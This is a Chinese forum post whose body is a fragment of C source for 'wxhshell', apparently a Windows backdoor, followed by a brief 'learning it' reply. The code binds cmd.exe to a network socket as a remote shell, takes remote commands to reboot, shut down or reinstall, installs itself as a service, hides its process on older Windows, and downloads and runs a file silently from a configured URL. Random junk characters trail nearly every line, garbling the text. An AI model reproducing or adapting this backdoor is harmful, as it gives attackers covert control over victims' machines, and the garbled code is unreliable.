  else hx;kEJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h[)aRo  
  } ;77o%J'l  
  else { :^L]Da3  
#$^i x  
    switch(cmd[0]) { ~oR&0et  
  wg~`Md  
  // 帮助 .7^-*HT}  
  case '?': { ;Z~.54Pf{d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p?NjxQLA  
    break; sN) .Jo  
  } P T.jR*  
  // 安装 p%y\`Nlgdx  
  case 'i': { zjZTar1Re  
    if(Install()) 2cL )sP}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DyTk<L  
    else ~F6gF7]z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .qPfi] ty  
    break; )GKgK;=~  
    } >^ar$T;Ys  
  // 卸载 Oydmq,sVe(  
  case 'r': {  ;I@L  
    if(Uninstall()) U: jf9L2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \)]2Uh|  
    else +E[)@;T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1}M.}G2u/  
    break; 6EWB3.x19  
    } L=FvLii.  
  // 显示 wxhshell 所在路径 Y-{BY5E.  
  case 'p': { L2$L.@  
    char svExeFile[MAX_PATH]; {xoo9jq-  
    strcpy(svExeFile,"\n\r"); ~8{3Fc0  
      strcat(svExeFile,ExeFile); u@'zvkb@  
        send(wsh,svExeFile,strlen(svExeFile),0); jch8d(`?d  
    break; [k}\{i>  
    } ghj~r  
  // 重启 .u?$h0u5  
  case 'b': { PCfs6.*5Mf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "uC*B4`  
    if(Boot(REBOOT)) Y\|J1I,Z4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {\zr_v`g  
    else { %.U{):lNx  
    closesocket(wsh); I*2rS_i[T  
    ExitThread(0); [![ (h %  
    } n"Vd"}sU.  
    break; >MrU^t  
    } T+D]bfjr&&  
  // 关机 Rw 8o]  
  case 'd': { I!O S&8:u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BAHx7x#(  
    if(Boot(SHUTDOWN)) %/on\*Vh3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2f4c;YS  
    else { w5jZI|  
    closesocket(wsh); j!)p NZW.<  
    ExitThread(0); H12@12v  
    }  O+j:L  
    break; fC|u  
    } sR .j~R  
  // 获取shell j #YFwX4.  
  case 's': { i8.[d5  
    CmdShell(wsh); 4] 1a^@?  
    closesocket(wsh); i`'^ zR(`i  
    ExitThread(0); R!G7;m'N1  
    break; EPRs%(w`  
  } V/e_:xECC  
  // 退出 0&@ pX~h:  
  case 'x': { ;~1JbP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3wl>a#f  
    CloseIt(wsh); |hoZ:  
    break; [+z:^a1?V  
    } ]H2aYi$  
  // 离开 %'z3es0  
  case 'q': { yFsXI0I[p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0g-ESf``{n  
    closesocket(wsh); ^ ni_%`Ag  
    WSACleanup(); xltu g##  
    exit(1); 5zOSb$;  
    break; koZp~W-  
        } edx'p`%d5  
  } G - WJlu  
  } 6QQ oHYtZ  
2s%M,Nb  
  // 提示信息 GGtrH~zx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lJ#>Y5Qg  
} _9r{W65s  
  } d?Cl04  
 H>6;I  
  return; uD5yw #`  
} 4V8wB}y7e  
|'_<(z  
// shell模块句柄 ^^uD33@_  
int CmdShell(SOCKET sock) &S]v+wF  
{ ]5/U}Um  
STARTUPINFO si; /GGu` f  
ZeroMemory(&si,sizeof(si)); 8ZfIh   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V}+;b bUc-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |>GIPfVT  
PROCESS_INFORMATION ProcessInfo; p>3'77 V  
char cmdline[]="cmd"; >/bK?yT<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _B FX5ifK  
  return 0; Dj(7'jT  
} a=VT|CX[  
@8yFM%  
// 自身启动模式 hATy 3*4  
int StartFromService(void) ,>v9 Y#U  
{ \;gt&*$-  
typedef struct ZH_4'm!^g|  
{ *?Ef}:]  
  DWORD ExitStatus; mXj Ljgc}  
  DWORD PebBaseAddress; L-{r*ccIW  
  DWORD AffinityMask; /j@ `aG(a  
  DWORD BasePriority; t'x:fO?cp  
  ULONG UniqueProcessId; F:GKnbY  
  ULONG InheritedFromUniqueProcessId; \zL7 j 4  
}   PROCESS_BASIC_INFORMATION; |9$'?4F  
o{W]mr3D  
PROCNTQSIP NtQueryInformationProcess; @rE )xco  
q.km>XRk~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6FMW g:{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?^4sE-C6  
n3j h\  
  HANDLE             hProcess; ~ O=|v/]  
  PROCESS_BASIC_INFORMATION pbi; [;YBX] t  
K/ m)f#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h ]$?~YE  
  if(NULL == hInst ) return 0; TFDCo_>o  
Vp"Ug,1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >ImM~SR)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <dPxy`_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,GP4I3D  
bv>lm56  
  if (!NtQueryInformationProcess) return 0; Al=? j#J6p  
JMl hBh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X`QW(rq  
  if(!hProcess) return 0; .ASwX   
g~:(EO(w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2BA9T nxC  
9Ru%E>el-  
  CloseHandle(hProcess); EFt`<qwj  
RTBBb:eX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 15o *r  
if(hProcess==NULL) return 0; (jMAa%  
`R52{B#&/  
HMODULE hMod; ?i EXFYJG  
char procName[255]; q,JA~GG  
unsigned long cbNeeded; ]O=S2Q  
ww t()  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lc?mKW9  
'qF3,Rw  
  CloseHandle(hProcess); 7r[ %| :  
7h#faOP  
if(strstr(procName,"services")) return 1; // 以服务启动 'S4EKV]  
J$9xC{L4  
  return 0; // 注册表启动 Bx : So6:  
} bZay/ Zkj  
w*xUuwi  
// 主模块 m|2]lb  
int StartWxhshell(LPSTR lpCmdLine) OG^WZ.YU  
{ /\a]S:V-j  
  SOCKET wsl; 26#Jhb E+  
BOOL val=TRUE; LLn{2,jfQ  
  int port=0; cov#Z ux  
  struct sockaddr_in door; Xtu`5p_Qv  
:&0yf;>v  
  if(wscfg.ws_autoins) Install(); oD#< ?h)(  
E?gu(\an@  
port=atoi(lpCmdLine); =Q8H]F  
[[0bhmG)  
if(port<=0) port=wscfg.ws_port; <\d|=>;  
i B!hEbz  
  WSADATA data; PVD ~W)0m*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x\J;ZiWwW  
}L$Xb2^l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |;.Pj 3)-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }EedHS  
  door.sin_family = AF_INET; s\Pt,I@Y_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <{NYD .  
  door.sin_port = htons(port); ,v}?{p c  
1ntkM?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +r-dr>&H@  
closesocket(wsl); o!=l B fI  
return 1; s@ 2 0#D  
} 6_%]\37_Z  
y  KYP  
  if(listen(wsl,2) == INVALID_SOCKET) { Od!F: <  
closesocket(wsl); 9o`7Kc/g  
return 1; Kl aZZJ  
} ;naq-%'Sg  
  Wxhshell(wsl); %0NkIQ`C  
  WSACleanup(); ,5\2C{  
t8DL9RW'  
return 0; hEv=T'*,K)  
aVQSN  
} [*9YIjn  
Gin_E&%g  
// 以NT服务方式启动 rQcRjh+E H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H}sS4[z  
{ \o:ELa HY  
DWORD   status = 0; B?;' lDz*  
  DWORD   specificError = 0xfffffff; 5?5- ;H  
! EX?m }7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zNV!@Yr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Su#xI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -t@y\vZF,  
  serviceStatus.dwWin32ExitCode     = 0; lh\ICN\O  
  serviceStatus.dwServiceSpecificExitCode = 0; ':4}O#  
  serviceStatus.dwCheckPoint       = 0; cBLR#Yu;O5  
  serviceStatus.dwWaitHint       = 0; @K$VV^wp  
r zMFof  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SZ5O89  
  if (hServiceStatusHandle==0) return; D!bKm[T  
Uvjdx(fY[a  
status = GetLastError(); KE/-VjZu  
  if (status!=NO_ERROR) .3lGX`d{  
{ .KLm39j(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E0"10Qbi  
    serviceStatus.dwCheckPoint       = 0; j+DE|Q&]I  
    serviceStatus.dwWaitHint       = 0; t&GA6ML#s  
    serviceStatus.dwWin32ExitCode     = status; w]>"'o{{  
    serviceStatus.dwServiceSpecificExitCode = specificError; pk-yj~F}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!YKZ0)B'0  
    return; Em e'Gk  
  } qwq/Xcv  
lx\qp`w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?EI'^xg  
  serviceStatus.dwCheckPoint       = 0; _PXG AS  
  serviceStatus.dwWaitHint       = 0; Sa3I?+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R K"&l!o  
} x9&-(kBU  
Guk.,}9  
// 处理NT服务事件,比如:启动、停止 )Y3EQxXa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [YC=d1F5  
{ r<;l{7lY_  
switch(fdwControl) Lw*;tL<,  
{ 51I|0 ly  
case SERVICE_CONTROL_STOP: %1Bn_  
  serviceStatus.dwWin32ExitCode = 0; +>JdYV<?0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u~s Sk  
  serviceStatus.dwCheckPoint   = 0; 9 YP*f  
  serviceStatus.dwWaitHint     = 0; s %eyW _  
  { G 1]"s@8(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9YR]+*  
  } H@V 7!d  
  return; S8 :"<B)  
case SERVICE_CONTROL_PAUSE: IQ ){(Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  t?gJNOV  
  break; Lj}>Xy(7<  
case SERVICE_CONTROL_CONTINUE: !C Vuw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p6`Pp"J_tr  
  break; "r u]?{v  
case SERVICE_CONTROL_INTERROGATE: sU\c#|BSC"  
  break; \[:PykS  
}; c\At0.QCA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94\t1fE  
} Y4d3n  
K&*iw`  
// 标准应用程序主函数 h@=7R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {@?G 9UypA  
{ 2@vJ  
!)N|J$FU  
// 获取操作系统版本 `>s7M.|X  
OsIsNt=GetOsVer(); >*IN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q#MM  
oBr.S_Qe  
  // 从命令行安装 !BDUv(  
  if(strpbrk(lpCmdLine,"iI")) Install(); BT]ua]T+  
/RGNAHtIi  
  // 下载执行文件 ~4Pc_%&i  
if(wscfg.ws_downexe) { "< v\M85&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PocYFhWQ`  
  WinExec(wscfg.ws_filenam,SW_HIDE); -T7%dLHY  
} `-_N@E1'>  
!22yvT.;[  
if(!OsIsNt) { Zmf'{tT5  
// 如果时win9x,隐藏进程并且设置为注册表启动 'n0 .#E_  
HideProc(); $J.T$0pFa  
StartWxhshell(lpCmdLine); 2edBQYWd  
} Zk&h:c  
else ,w{m3;]_%  
  if(StartFromService()) V >Hf9sZ  
  // 以服务方式启动 #]9hTa IR  
  StartServiceCtrlDispatcher(DispatchTable); mffIf1f  
else YD\]{,F|  
  // 普通方式启动 P}V=*g  
  StartWxhshell(lpCmdLine); vfcb:x  
Tr& }$kird  
return 0; ;gMgj$mI  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八